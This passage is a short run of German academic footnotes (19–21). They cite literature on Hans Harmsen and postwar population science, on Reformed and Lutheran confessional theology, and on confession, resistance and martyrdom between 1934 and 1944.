[19] Ferdinand Oeter. „Der ethische Imperativ im Lebenswerk Hans Harmsens“. S. 11-16 in: Hermann Schubnell (Hg.). Alte und neue Themen der Bevölkerungswissenschaft. a. a. O. und Martin Kornrumpf. „Erste bevölkerungswissenschaftliche Untersuchungen nach der bedingungslosen Kapitulation des Deutschen Reiches 1945“. S. 141-149 in: ebd., hier S. 141-142

[20] Vgl. Jan Rohls. Theologie reformierter Bekenntnisschriften. Göttingen: Vandenhoeck & Ruprecht, 1987 und die Abschnitte zur lutherischen und reformierten Bekenntnisentwicklung in Carl Andresen (Hg.). Handbuch der Dogmen- und Theologiegeschichte. Ungekürzte Studienausgabe. 3 Bde. Vandenhoeck & Ruprecht: Göttingen, 1989 [Nachdruck von 1988]

[21] Gerhard Besier. „Bekenntnis – Widerstand – Martyrium als historisch-theologische Kategorie“. S. 126-147 in: Gerhard Besier, Gerhard Ringshausen (Hg.). Bekenntnis, Widerstand, Martyrium: Von Barmen 1934 bis Plötzensee 1944. Vandenhoeck & Ruprecht: Göttingen, 1986. S. 133

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